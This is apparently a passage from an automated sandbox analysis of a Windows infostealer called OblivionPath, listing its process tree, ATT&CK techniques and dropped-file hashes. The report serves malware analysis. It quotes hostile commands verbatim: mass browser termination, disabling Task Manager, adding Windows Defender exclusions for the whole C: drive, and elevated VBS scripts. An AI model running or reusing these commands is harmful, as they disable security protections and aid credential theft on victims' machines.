      PID:5556
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      PID:6044
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:3004
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:2168
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      Kills process with taskkill
      PID:8428
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:7608
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:7940
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:3408
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8188
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5620
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:7620
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:7436

C:\Program Files\OblivionPath\OblivionPath.exe
"C:\Program Files\OblivionPath\OblivionPath.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6124
- C:\Program Files\OblivionPath\OblivionPath.exe
  "C:\Program Files\OblivionPath\OblivionPath.exe" --disable-gpu --no-sandbox --disable-logging --disable-logging-redirect --log-level=3 --disable-crash-reporter --disable-breakpad --disable-component-update --disable-features=TranslateUI --disable-ipc-flooding-protection --disable-hang-monitor --no-error-dialogs
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force""
    3⤵
    PID:5824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6284
- - C:\Program Files\OblivionPath\OblivionPath.exe
    "C:\Program Files\OblivionPath\OblivionPath.exe" --type=gpu-process --no-sandbox --disable-breakpad --user-data-dir="C:\Users\Admin\AppData\Roaming\OblivionPath" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1836,i,6136267884911851216,1266939872014992012,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1824 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4968
- - C:\Program Files\OblivionPath\OblivionPath.exe
    "C:\Program Files\OblivionPath\OblivionPath.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\OblivionPath" --field-trial-handle=1836,i,6136267884911851216,1266939872014992012,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1884 /prefetch:3
    3⤵
    - Executes dropped EXE
    PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    PID:3284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    PID:4704
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:5140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    PID:6912
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      PID:5880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    PID:5608
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      PID:5940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    PID:2524
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    PID:5532
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:5816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
    3⤵
    PID:5956
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      PID:7104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"
    3⤵
    PID:6004
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM yandex.exe
      4⤵
      PID:6808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1779472782763.vbs" /elevate:true"
    3⤵
    PID:924
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1779472782763.vbs" /elevate:true
      4⤵
      Checks computer location settings
      PID:6676
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true"
    3⤵
    PID:6700
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true
      4⤵
      Checks computer location settings
      PID:8944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config node DisplayName= "Network Connection Broker""
    3⤵
    PID:8504
  - - C:\Windows\system32\sc.exe
      sc config node DisplayName= "Network Connection Broker"
      4⤵
      Launches sc.exe
      PID:6424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
    3⤵
    PID:7976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f"
    3⤵
    PID:2432
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chrome_100_percent.pak

Path C:\Program Files\OblivionPath\chrome_100_percent.pak
Size 144KB
SHA256 6ce0ccf6a0cc4ea8be11262d168a344bc3ee78a4a6365d755ffb5570bc48d6d5
MD5 facae785097b1c688da1dd683207b47e
SHA1 ac937080ebeb034a8cefa4f1c62442a30ef1c38b
SHA512 18daee712567e7ec259d3c4fccbb32ced1b2a51cee6f3a3466943d3828ab417456b752c27b5ba27339568086fdb7187356a354dc1430014ac7f044c8878cf3cb
SSDEEP 3072:iz8rCGIQRTwsWr8o9RHi/T9P1L2o418Gb0+VRLf0ld0GY3cQ3ERVh2I:iz8DI2TOr8EC/T95K18Gb0OV8ld0GecH
TLSH
T17EE3E0D3B3F4ED7DD79716B7A2160072ECF3466906A1424B168AD8712A76B88CCC47D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node_sqlite3.node

Path C:\Program Files\OblivionPath\resources\app.asar.unpacked\node_modules\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Program Files\OblivionPath\resources\elevate.exe
Size 119KB
SHA256 29ee6a9c269a14344fc4b396156a43c518c9c6ac87da62171a986be4718508dd
MD5 1c0be94db092c940ba1e23ae5ee1cd8a
SHA1 2ba8e2c61009137852b193248ce6db4c06ea41bc
SHA512 c76ea7e7c1ca2793c5b190133659f57b3e19f0fc2560c746e401bea066665f25a2fe980c552ad759c07e0098e8083c64b36d1633f406e3e3f368c60ef76cd0a4
SSDEEP 3072:RdbLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWlHo:zPrwRhte1XsE1lHo
TLSH
T113C37D1274C08471E9732E3559B4D9714EADFE710E75DEEB2398027A4F602C0AA29FB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c03c91dd74498cc33a32d616fb3050ad954ed4f57e671e2e9651aedb7b128ff3
MD5 d30f23b777856a4a772cbe961f7b3343
SHA1 7b4f11fe65abb9620e0dbfeee619097a4648e70d
SHA512 64fa5e6ca5021734b620f79ded479d44ce30d4bd58ae9cdbee49fe1b251d6bd779a3b62708afafe90c37491259efc348d7fb2cb774d74668671c6295dca793d3
TLSH
T1E4415C303221B8D84D436F1315286ED5A3EF478AAFA89F5CB569231DCD2A45BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download